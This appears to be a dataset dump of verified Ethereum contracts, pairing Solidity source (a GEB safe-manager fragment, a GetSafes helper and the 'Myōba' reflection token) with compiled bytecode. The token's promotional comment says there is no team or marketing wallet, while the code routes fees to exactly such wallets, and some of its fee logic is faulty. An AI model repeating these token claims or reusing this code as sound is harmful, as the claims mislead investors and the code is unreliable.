// Choose a SAFE saviour inside LiquidationEngine for the SAFE with id 'safe'
function protectSAFE(
uint safe,
address liquidationEngine,
address saviour
) public safeAllowed(safe) {
LiquidationEngineLike(liquidationEngine).protectSAFE(
collateralTypes[safe],
safes[safe],
saviour
);
emit ProtectSAFE(
msg.sender,
safe,
liquidationEngine,
saviour
);
}
}
contract GetSafes {
function getSafesAsc(address manager, address guy) external view returns (uint[] memory ids, address[] memory safes, bytes32[] memory collateralTypes) {
uint count = GebSafeManager(manager).safeCount(guy);
ids = new uint[](count);
safes = new address[](count);
collateralTypes = new bytes32[](count);
uint i = 0;
uint id = GebSafeManager(manager).firstSAFEID(guy);
while (id > 0) {
ids[i] = id;
safes[i] = GebSafeManager(manager).safes(id);
collateralTypes[i] = GebSafeManager(manager).collateralTypes(id);
(,id) = GebSafeManager(manager).safeList(id);
i++;
}
}
function getSafesDesc(address manager, address guy) external view returns (uint[] memory ids, address[] memory safes, bytes32[] memory collateralTypes) {
uint count = GebSafeManager(manager).safeCount(guy);
ids = new uint[](count);
safes = new address[](count);
collateralTypes = new bytes32[](count);
uint i = 0;
uint id = GebSafeManager(manager).lastSAFEID(guy);
while (id > 0) {
ids[i] = id;
safes[i] = GebSafeManager(manager).safes(id);
collateralTypes[i] = GebSafeManager(manager).collateralTypes(id);
(id,) = GebSafeManager(manager).safeList(id);
i++;
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c806335ec30471461003b578063fa3f08af14610184575b600080fd5b61009d6004803603604081101561005157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102cd565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156100e85780820151818401526020810190506100cd565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561012a57808201518184015260208101905061010f565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b50505050905001965050505050505060405180910390f35b6101e66004803603604081101561019a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610774565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015610231578082015181840152602081019050610216565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015610273578082015181840152602081019050610258565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156102b557808201518184015260208101905061029a565b50505050905001965050505050505060405180910390f35b606080606060008573ffffffffffffffffffffffffffffffffffffffff16630ae43e4e866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561035157600080fd5b505afa158015610365573d6000803e3d6000fd5b505050506040513d602081101561037b57600080fd5b810190808051906020019092919050505090508067ffffffffffffffff811180156103a557600080fd5b506040519080825280602002602001820160405280156103d45781602001602082028036833780820191505090505b5093508067ffffffffffffffff811180156103ee57600080fd5b5060405190808252806020026020018201604052801561041d5781602001602082028036833780820191505090505b5092508067ffffffffffffffff8111801561043757600080fd5b506040519080825280602002602001820160405280156104665781602001602082028036833780820191505090505b509150600080905060008773ffffffffffffffffffffffffffffffffffffffff1663511c743d886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156104ed57600080fd5b505afa158015610501573d6000803e3d6000fd5b505050506040513d602081101561051757600080fd5b810190808051906020019092919050505090505b600081111561076a578086838151811061054157fe5b6020026020010181815250508773ffffffffffffffffffffffffffffffffffffffff1663434efcbd826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561059e57600080fd5b505afa1580156105b2573d6000803e3d6000fd5b505050506040513d60208110156105c857600080fd5b81019080805190602001909291905050508583815181106105e557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508773ffffffffffffffffffffffffffffffffffffffff1663918b7cfe826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561067057600080fd5b505afa158015610684573d6000803e3d6000fd5b505050506040513d602081101561069a57600080fd5b81019080805190602001909291905050508483815181106106b757fe5b6020026020010181815250508773ffffffffffffffffffffffffffffffffffffffff16639898ac79826040518263ffffffff1660e01b815260040180828152602001915050604080518083038186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d604081101561073d57600080fd5b8101908080519060200190929190805190602001909291905050505080915050818060010192505061052b565b5050509250925092565b606080606060008573ffffffffffffffffffffffffffffffffffffffff16630ae43e4e866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156107f857600080fd5b505afa15801561080c573d6000803e3d6000fd5b505050506040513d602081101561082257600080fd5b810190808051906020019092919050505090508067ffffffffffffffff8111801561084c57600080fd5b5060405190808252806020026020018201604052801561087b5781602001602082028036833780820191505090505b5093508067ffffffffffffffff8111801561089557600080fd5b506040519080825280602002602001820160405280156108c45781602001602082028036833780820191505090505b5092508067ffffffffffffffff811180156108de57600080fd5b5060405190808252806020026020018201604052801561090d5781602001602082028036833780820191505090505b509150600080905060008773ffffffffffffffffffffffffffffffffffffffff166304e461ef886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d60208110156109be57600080fd5b810190808051906020019092919050505090505b6000811115610c1257808683815181106109e857fe5b6020026020010181815250508773ffffffffffffffffffffffffffffffffffffffff1663434efcbd826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610a4557600080fd5b505afa158015610a59573d6000803e3d6000fd5b505050506040513d6020811015610a6f57600080fd5b8101908080519060200190929190505050858381518110610a8c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508773ffffffffffffffffffffffffffffffffffffffff1663918b7cfe826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610b1757600080fd5b505afa158015610b2b573d6000803e3d6000fd5b505050506040513d6020811015610b4157600080fd5b8101908080519060200190929190505050848381518110610b5e57fe5b6020026020010181815250508773ffffffffffffffffffffffffffffffffffffffff16639898ac79826040518263ffffffff1660e01b815260040180828152602001915050604080518083038186803b158015610bba57600080fd5b505afa158015610bce573d6000803e3d6000fd5b505050506040513d6040811015610be457600080fd5b81019080805190602001909291908051906020019092919050505090508091505081806001019250506109d2565b505050925092509256fea26469706673582212202c8814dc86cb8d74f3d6d8132d0807d58cb4db4c947901a385708faa68da06ab64736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 8,259 |
0x448a022fb6b8bd0268f1636fd0b4e5e05940b2ef
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/*
https://t.me/MyobaToken
Myōba are celestial fox spirits with white fur and full, fluffy tails reminiscent of ripe grain. They are holy creatures, and bring happiness and blessings to those around them.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōba was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 5% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
..` `..
/dNdhmNy. .yNmhdMd/
yMMdhhhNMN- -NMNhhhdMMy
oMMmhyhhyhMN- -NMhyhhyhmMMs
/MMNhs/hhh++NM+ +MN++hhh/shNMM/
.NMNhy`:hyyh:-mMy` `yMm::hyyh:`yhNMN.
`mMMdh. -hyohy..yNh.`............`.yNy..yhoyh- .hdMMm`
hMMdh: .hyosho...-:--------------:-...ohsoyh. :hdMMh
oMMmh+ .hyooyh/...-::---------:::-.../hyooyh. +hmMMo
/MMNhs `hyoooyh-...://+++oo+++//:...-hyoooyh` shNMM/
.NMNhy` hhoooshysyhhhhhhhhhhhhhhhhysyhsooohh `yhNMN-
`mMMdh. yhsyhyso+::-.```....```.--:/osyhyshy .hdMMm`
yMMmh/ -so/-` .. `-/os- /hmMMh
/MMyhy .` `` `. shyMM/
mN/+h/ /h+/Nm
:N:.sh. .hs.:N/
s-./yh` `hy/.-s
.`:/yh` `hy/:`-
``-//yh- .hy//-``
``://oh+ ` ` +ho//:``
``.://+yy` `+` `+` `yh+//:.``
``-///+oho /y: :y/ ohs+///-``
``:////+sh/ `` `yhs- -shy` `` /hs+////:``
``:////++sh/ ```:syhs- -shys:``` /hs++////:``
``://///++sho` `.-/+o/. ./o+/-.` `+hs++/////:``
``://///+++oyy- ``..--. .--..`` -yyo+++/////:``
``-/////+++++shs. ``... ...`` .ohs+++++/////-``
``/////+++++++shs- ..` `.. -shs+++++++/////``
``-/////++++++++oys- ..` `.. -syo++++++++/////-``
``:////++++:-....+yy: .. .. :yy+....-:++++////:``
`.////+++:-......./yy: .. .. :yy/.......-:+++////.`
`.////++ooo+/-...../yy/` .` `. `/yy/.....-/+ooo++////.`
`.////+++oooos+/:...:sy/` . . `/ys:...:/+soooo+++////.`
`.:////+++++ooooso/:.:sh+` . . `+hs:.:/osoooo+++++////:.`
`-//////++++++ooooso++yh+....+hy++osoooo++++++//////-`
`.:///////+++++++oooossyhoohyssoooo++++++////////:.`
.:/+++++++++++++++ooosyysooo++++++++++++++//:.
`-/+++++++++++++++oooooo+++++++++++++++/-`
.-/++++++++++++++++++++++++++++++/-.
`.-//++++++++++++++++++++//-.`
`..-::://////:::-..`
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Myoba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Myōba";
string private constant _symbol = "MYOBA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017f4d79c58d62610000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d594f4241000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffff